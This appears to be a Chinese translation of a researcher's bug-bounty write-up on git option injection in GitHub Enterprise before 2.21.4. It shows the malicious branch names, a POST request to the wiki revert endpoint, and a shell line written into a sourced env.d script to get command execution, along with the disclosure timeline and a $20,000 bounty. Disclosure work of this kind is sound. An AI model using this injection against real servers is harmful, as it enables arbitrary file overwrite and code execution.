GitHub企业版(GHE)的代码默认是混淆的,但是有脚本可以把他们恢复为常规ruby文件.
影响版本:GitHub Enterprise < 2.21.4
修复该漏洞的版本: GitHub Enterprise 2.21.4 released fixing the issue
git revert: 撤销某个单一的commit. 本文中的"撤销"就是gitrevert
。
参考 https://enterprise.github.com/releases/2.17.6/notes
GitHub Enterprise 2.17.6 August 13, 2019
这与使用分支名称将选项注入git命令有关,分支名称以-允许攻击者截断服务器上的文件开头,因此我认为这是一个开始查看是否引入任何类似错误的好地方。
漏洞原理:使用以一个-
字符开头的"分支名称"(branch names),向git命令中注入选项,允许攻击者截断服务器上的文件。
我认为这个漏洞是一个很好的开始,我看看GitHub企业版(GHE)是否存在类似的漏洞。
我开始搜索git进程被调用的所有位置,然后追溯参数以查看它们是否用户可控,以及是否已正确清理(sanitised)。
-
开头过了一会儿,我找到了reverse_diff
方法,该方法进行了2次"提交"(commits),最终git diff-tree
与它们一起运行,并且唯一的检查是对于存储库(sha,branch,tag等)都存在有效的git引用(git references)。追溯可知,此函数由revert_range
在之前的2个wiki"提交"(commits)之间进行"撤销"(reverting)时使用的方法调用。
因此,发送POST请求到user/repo/wiki/Home/_revert/57f931f8839c99500c17a148c6aae0ee69ded004/1967827bcd890246b746a5387340356d0ac7710a
会将值(实际参数)57f931f8839c99500c17a148c6aae0ee69ded004
和1967827bcd890246b746a5387340356d0ac7710a
传入reverse_diff
,调用该函数。
完美!我checked out了一个repo(仓库),并通过命令git push origin master:--help
pushed出一个新的分支 名为–help
,之后尝试发送POST请求到user/repo/wiki/Home/_revert/HEAD/--help
。但是没有成功,返回的提示信息是422 Unprocessable Entity
。
为什么会这样?查看服务器日志后发现,是因为 CSRF 令牌无效。事实证明,rails现在具有基于表单的CSRF token,这些token是根据要POST的路径
生成的。
没有检查查询参数,但是在本例中,路由设置为只允许"提交"(commits)的路径参数。
"撤销"(revert)的形式以及有效token是由"wiki比较模板"(wiki compare template)生成的,但遗憾的是,它的验证更加严格,且要求commit具有有效的sha hashes。这意味着我们无法为–help
分支提供有效的表单(form)和token,仅能为具有有效的sha hashes的commit提供:有效的表单(form)和token。
深挖rails中的valid_authenticity_token?
方法(你没看错这个方法最后面是个问号),可以发现,绕过每个表单(form)CSRF的另一种方法是使用全局token,因为存在这样一个"代码路径"(code path),可以在转换时使现有表单向后兼容。
as there is a code path to make existing forms backwards compatible while transitioning.
def valid_authenticity_token?(session, encoded_masked_token) # :doc: if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String) return false end begin masked_token = Base64.strict_decode64(encoded_masked_token) rescue ArgumentError # encoded_masked_token is invalid Base64 return false end # See if it's actually a masked token or not. In order to # deploy this code, we should be able to handle any unmasked # tokens that we've issued without error. # 看看它是否真的是一个masked token。 # 为了部署这段代码,我们应该能够毫无错误地处理任何已发出的unmasked tokens。 if masked_token.length == AUTHENTICITY_TOKEN_LENGTH # This is actually an unmasked token. This is expected if # you have just upgraded to masked tokens, but should stop # happening shortly after installing this gem. # 这实际上是一个unmasked token。 # 如果你刚刚升级到masked tokens那就是意料之中的,但这种情况应该在安装这个gem后很快就会停止发生。 compare_with_real_token masked_token, session elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2 csrf_token = unmask_token(masked_token) compare_with_real_token(csrf_token, session) || valid_per_form_csrf_token?(csrf_token, session) else false # Token is malformed. end end
全局CSRF token:通常是使用csrf_meta_tags
这个helper分发给客户端,但是GitHub确实"锁定了一切"(locked down everything),经过大量搜索后,没有发现哪里能泄漏全局CSRF token。
GitHub做的挺安全的,甚至会在每个表单的CSRF没有正确设置时抛出一个错误(因为这会泄漏全局CSRF token)。
我花了很长时间寻找怎么绕过这个逻辑:CSRF token是由rails生成的,只要我能够使它使用诸如wiki/Home/_revert/HEAD/--help
这样的路径,那么表单在哪里创建都不重要。
对 GHE 和 rails 代码进行了大量深入的搜索和挖掘后,我空手而归。我确实在 github.com上找到了一些已存档的html 页面,这些页面表明之前被分发的全局token不再分发。GitHub 将(用于用户会话的)全局 CSRF token存储在数据库中,因此我决定继续从这里获取全局 CSRF token。
我在GHE服务器上,从perf-tools安装并运行了execsnoop
,以便更仔细地研究执行撤销(revert)时运行的具体的git命令,并发现它的形式是git diff-tree -p -R commit1 commit2 -- Home.md
。git命令的diff-tree
有一个选项是--output
: 作用是将输出写入到文件,而不是直接输出结果。
因此,将HEAD用作第1个commit,将-–output=/tmp/ggg
用作第2个commit,将会把文件的最新diff写入/tmp/ggg
。
因此,我将一个名为--output=/tmp/ggg
的新分支push到wiki repo中,然后使用从数据库中取到的authenticity_token
,发送POST请求到user/repo/wiki/Home/_revert/HEAD/--output%3D%2Ftmp%2Fggg
从服务器上可看到,文件 /tmp/ggg
已经通过diff
的输出得以创建!
9ea5ef1f10e9ff1974055d3e4a60bec143822f9d
diff --git b/Home.md a/Home.md
index c3a38e1..85402bc 100644
--- b/Home.md
+++ a/Home.md
@@ -1,4 +1,3 @@
Welcome to the public wiki!
-3
+2
下一步要做的是想出如何用“写文件”做点什么。可以将该文件写入git
用户可以访问的任何地方,并且文件末尾的内容是可控的(fairly controllable)。
经过更多的搜索,我发现了一些可写的env.d
目录(如/data/github/shared/env.d
),这些目录中包含了一些"安装脚本"(setup scripts),这些目录中的文件最终会在服务启动、或运行某些命令的时候,被引用(being sourced):
for i in $envdir/*.sh; do if [ -r $i ]; then . $i fi done
因为使用. script.sh
这种方式执行脚本,是不需要将该文件为可执行的(executable),即无需 +x 就能执行成功。
原理: 将script-name中的内容直接加载到当前的shell。
而且我们知道,bash在遇到错误后将继续运行脚本。
这意味着,如果写入的diff包含一些有效的shell脚本,那么它将被执行!
; echo vakzz was here > /tmp/ggg
#anything
git push origin master:--output=/data/failbotd/shared/env.d/00-run.sh
authenticity_token
,发送POST请求到user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh
如
POST /user/repo/wiki/Home/_revert/HEAD/--output%3D%2Fdata%2Ffailbotd%2Fshared%2Fenv%2Ed%2F00-run%2Esh HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: user_session=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Length: 65
authenticity_token=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3d
7.检查服务器,查看文件是否已通过我们的diff
创建成功了:
$ cat /data/failbotd/shared/env.d/00-run.sh 69eb12b5e9969ec73a9e01a67555c089bcf0fc36 diff --git b/Home.md a/Home.md index 4a7b77c..ce38b05 100644 --- b/Home.md +++ a/Home.md @@ -1,2 +1 @@ -; echo vakzz was here > /tmp/ggg` -# anything \ No newline at end of file +; echo vakzz was here > /tmp/ggg` \ No newline at end of file
8.运行引用我们的diff的文件, 并检查shell命令echo vakzz was here > /tmp/ggg
是否执行成功了:
Run the file that sources our diff and check it worked.
./production.sh ./production.sh: 1: /data/failbotd/current/.app-config/env.d/00-run.sh: 69eb12b5e9969ec73a9e01a67555c089bcf0fc36: not found diff: unrecognized option '--git' diff: Try 'diff --help' for more information. ./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: index: not found ./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: ---: not found ./production.sh: 5: /data/failbotd/current/.app-config/env.d/00-run.sh: +++: not found ./production.sh: 6: /data/failbotd/current/.app-config/env.d/00-run.sh: @@: not found ./production.sh: 7: /data/failbotd/current/.app-config/env.d/00-run.sh: -: not found ./production.sh: 2: /data/failbotd/current/.app-config/env.d/00-run.sh: -#: not found ./production.sh: 3: /data/failbotd/current/.app-config/env.d/00-run.sh: No: not found ./production.sh: 4: /data/failbotd/current/.app-config/env.d/00-run.sh: +: not found ./production.sh: 11: /data/failbotd/current/.app-config/env.d/00-run.sh: No: not found $ cat /tmp/ggg vakzz was here
确认漏洞存在。
我决定向GitHub报告这个问题,尽管我没有办法绕过每个表单的CSRF token,我仍然决定将问题报告给 GitHub。
底层的问题(The underlying issue)仍然很严重,GitHub可能会在未来发布一个patch,如果不小心泄露了全局令牌(global token),或者改变了接受查询参数的路由,这将使它们容易受到攻击(vulnerable)。
不到15分钟,GitHub就对bug进行了分类,并告诉我他们正在调查。几个小时后,他们再次回复:确认了底层的问题,他们无法找到“绕过每个表单的token的方法”。并提到这是一个严重的问题(他们可能对CSRF设置感到很幸运,否则这个漏洞就更严重了)。
我发送了一份我试图绕过每个form的方法的总结,以及可能会泄漏它的潜在的点,并确认了我认为它基本不可能被利用。
所以,这个bug本身是严重的,但是没有办法利用这个漏洞。我真的不知道GitHub会不会给赏金,最后GitHub的赏金让我感到非常惊喜。
July 25, 2020 01:48:02 AEST - Bug submitted. H1
July 25, 2020 02:05:21 AEST - Bug was triaged by GitHub
July 25, 2020 09:18:28 AEST - Underlying issue was confirmed
August 11, 2020 - GitHub Enterprise 2.21.4 released fixing the issue
High: An attacker could inject a malicious argument into a Git sub-command when executed on GitHub Enterprise Server. This could allow an attacker to overwrite arbitrary files with partially user-controlled content and potentially execute arbitrary commands on the GitHub Enterprise Server instance. To exploit this vulnerability, an attacker would need permission to access repositories within the GHES instance. However, due to other protections in place, we could not identify a way to actively exploit this vulnerability. This vulnerability was reported through the GitHub Security Bug Bounty program.
High: 攻击者在GitHub Enterprise Server上执行Git子命令时,可以向其注入恶意参数。这可能允许攻击者用部分用户控制的内容覆盖任意文件,并可能在GitHub企业服务器实例上执行任意命令。要利用这个漏洞,攻击者需要获得访问GHES实例中的存储库的权限。然而,由于存在其他保护措施,我们无法确定积极利用此漏洞的方法。
这个漏洞是通过GitHub安全漏洞奖励计划报告的。
September 11, 2020 02:52:15 AEST - $20,000 bounty awarded
感谢 arr0w1 对本文要点分析的大力支持!